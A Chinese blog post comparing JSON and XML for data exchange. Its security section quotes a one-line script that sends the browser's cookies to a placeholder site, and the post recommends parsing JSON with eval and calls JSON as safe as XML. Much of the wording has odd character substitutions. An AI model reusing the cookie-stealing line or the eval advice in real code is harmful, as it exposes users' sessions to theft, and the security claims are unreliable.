json與xml的區別

（點擊獲取更多資料的下載）

曾幾什麼時候，XML是程序員的寵兒，是數據傳輸、API、AJAX應用等方面的不二選擇，但自從JSON橫空出世後，或者你會發覺你身邊就有不少人開 始拋棄XML，在他們的心目中，JSON已經徹底取代了XML的位置。JSON有不少優點，但也存在缺點，而XML雖然確實存在很多問題，但孰優孰劣，並 不是能夠依據我的喜愛就輕易得出結論的。

JSON(Javascript Object Notation) 是一種輕量級的數據交換格式。易於人閱讀和編寫。同時也易於機器解析和生成。它基於Javascript Programming Language, Standard ECMA-262 3rd Edition – December 1999的一個子集。JSON採用徹底獨立於語言的文本格式，可是也使用了相似於C語言家族的習慣（包括C, C++, C#, Java, Javascript, Perl, Python等）。這些特性使JSON成爲理想的數據交換語言。 正是由於這樣，twitter已經聲稱他們的流媒體API將再也不支持XML，Foursquare則強烈推薦開發者在使用他們的API時選擇JSON，因 爲他們計劃下一代接口只支持JSON。

老k博客將從下面幾個方面來客觀比較一下二者

• 1. 可讀性
• 2. 是否易於在服務端建立數據
• 3. 是否易於在客戶端處理數據
• 4. 擴展性
• 5. 調試和故障排除
• 6. 安全

可讀性

二者都具有很好的可讀性，但從實際應用出發，我的仍是以爲XML文檔的可讀性無疑會更高，要求你從一大堆的json代碼裏看出它的結構層次關係仍是 相對比較困難的；並且如今不少的IDE工具均可以把XML格式化成易讀的結構形式，看起來至關舒服，而json則否則。在這一方面我投XML一票。

是否易於在服務端建立數據

XML已經流行了好多年了，故目前流行的編程語言都已經存在大量的XML數據綁定API去進行建立XML，以java語言爲例，你既能夠用JAXB，又能夠用XmlBeans，又或者dom4j、jdom等去把數據寫到xml文件中。而另外一方面，json這一方面的API則相對是一個全新的領域，儘管如此，json官方網站仍是列出了不少使人印象深入的各類語言的API，java方面比較著名的有json-lib，此外gson也算一個。在這一方面，雖然json相對於XML並非可望不可即，但仍是略微遜色一籌，尤爲是在複雜的應用方面，XML方面的API已經存在多年，相對來講成熟穩定得多了。

是否易於在客戶端處理數據

在客戶端，要處理XMLHttpRequest請求返回的json格式響應數據是一件垂手可得的事情，只須要使用javascript的eval函 數就能夠實現把json格式的數據轉換成javascript對象，而後經過對象的屬性去訪問值，這就是json最優雅之處，無數人爲之着迷。而XML在 這一方面就不是那麼的友善了，曾令無數的程序員頭痛不已，由於處理XML響應數據，你得經過DOM樹，這是很是繁瑣且容易出錯的工做。這一點，我堅決果斷 地選擇json。

擴展性

可擴展性有助於減小生產者與消費者之間的數據耦合。在AJAX應用裏，客戶端腳本應該合理地兼容不可知的數據擴展。

毫無疑問，XML是可擴展的，但它的擴展是有侷限的，由於若是你要適應擴展的話，那麼你的客戶端代碼不得不做出相應的改動，如如下的客戶端解析代碼

1	var xml = xhr.responseXML;

2	var elements = xml.getElementsByTagName("firstName");

3	var firstNameEl = elements[0];

4	var lastNameEl = firstNameEl.nextSibling;

若是你在響應xml中<firstName>結點後增長了<middlename>這一結點的話，那以上的代碼就要做相應 的改變，不然會出錯，也就是說，XML的擴展得伴隨着解析代碼的變動，這可沒有什麼魔法可言。而json則簡單得多，即便你要增長middleName這 一屬性，在js客戶端依然是經過對象訪問屬性值便可，而不會引發js上的語法出錯之類的錯誤，致使程序沒法執行。

調試和故障排除

這方面須要從服務端和客戶端兩方面進行考慮，在服務器端，要確保數據是格式良好的和有效的；在客戶端，它應該容易調試錯誤的。

使用XML的話會相對容易地檢查數據被髮送到客戶端是格式良好的和有效的。您還可使用數據架構（schema）來驗證xml的正確性和有效性。使用JSON，這個任務是手動的，並涉及驗證響應對象中是否包含正確的屬性。

在客戶端，要從二者中找到錯誤都是比較困難的。對於XML，瀏覽器是徹底沒法將xml格式化成responseXML；若是對於數據量較少的json數據，還能夠經過firebug來發現錯誤，但對於大數據量的話，那隻能靠手工檢查了，不然也只能坐以待斃了。
安全性

有人認爲，使用json是不安全的，緣由是json裏能夠包含js代碼，而客戶端中使用eval可使這些代碼執行，而這些代碼可能會存在安全隱患。如如下的代碼：

1	window.location ="<a href="http://badsite.com/">http://badsite.com</a>?" + document.cookie;

2	person : {

3	"firstName":"Subbu",

4	"lastName":"Allamaraju"

5

}

上面的代碼會致使瀏覽器把用戶的cookie數據提交到一個流氓網站。但出現這種狀況的可能只會是開發者故意爲之，別人是沒法這樣作的，但若是是開 發者有意爲之的話，那他同樣以別的方式來實現把你的cookie數據提交到流氓網站，這與是否使用json無關，因此相對於XML，json是一樣的安全 的。

數據交換格式比較之關於輕量級和重量級：

輕量級和重量級是相對來講的，那麼XML相對於JSON的重量級體如今哪呢？我想應該體如今解析上，XML目前設計了兩種解析方式：DOM和SAX；

DOM是把一個數據交換格式XML當作一個DOM對象，須要把XML文件整個讀入內存，這一點上JSON和XML的原理是同樣的，可是XML要考慮 父節點和子節點，這一點上JSON的解析難度要小不少，由於JSON構建於兩種結構：key/value，鍵值對的集合；值的有序集合，可理解爲數組；

SAX不須要整個讀入文檔就能夠對解析出的內容進行處理，是一種逐步解析的方法。程序也能夠隨時終止解析。這樣，一個大的文檔就能夠逐步的、一點一點的展示出來，因此SAX適合於大規模的解析。這一點，JSON目前是作不到得。

因此，JSON和XML的輕/重量級的區別在於：JSON只提供總體解析方案，而這種方法只在解析較少的數據時才能起到良好的效果；而XML提供了對大規模數據的逐步解析方案，這種方案很適合於對大量數據的處理。

數據交換格式比較之關於數據格式編碼及解析的難度：

在編碼上，雖然XML和JSON都有各自的編碼工具，可是JSON的編碼要比XML簡單，即便不借助工具，也能夠寫出JSON代碼，但要寫出好的 XML代碼就有點困難；與XML同樣，JSON也是基於文本的，且它們都使用Unicode編碼，且其與數據交換格式XML同樣具備可讀性。

主觀上來看，JSON更爲清晰且冗餘更少些。JSON網站提供了對JSON語法的嚴格描述，只是描述較簡短。從整體來看，XML比較適合於標記文檔，而JSON卻更適於進行數據交換處理。

在解析上，在普通的web應用領域，開發者常常爲XML的解析傷腦筋，不管是服務器端生成或處理XML，仍是客戶端用 JavaScript 解析XML，都經常致使複雜的代碼，極低的開發效率。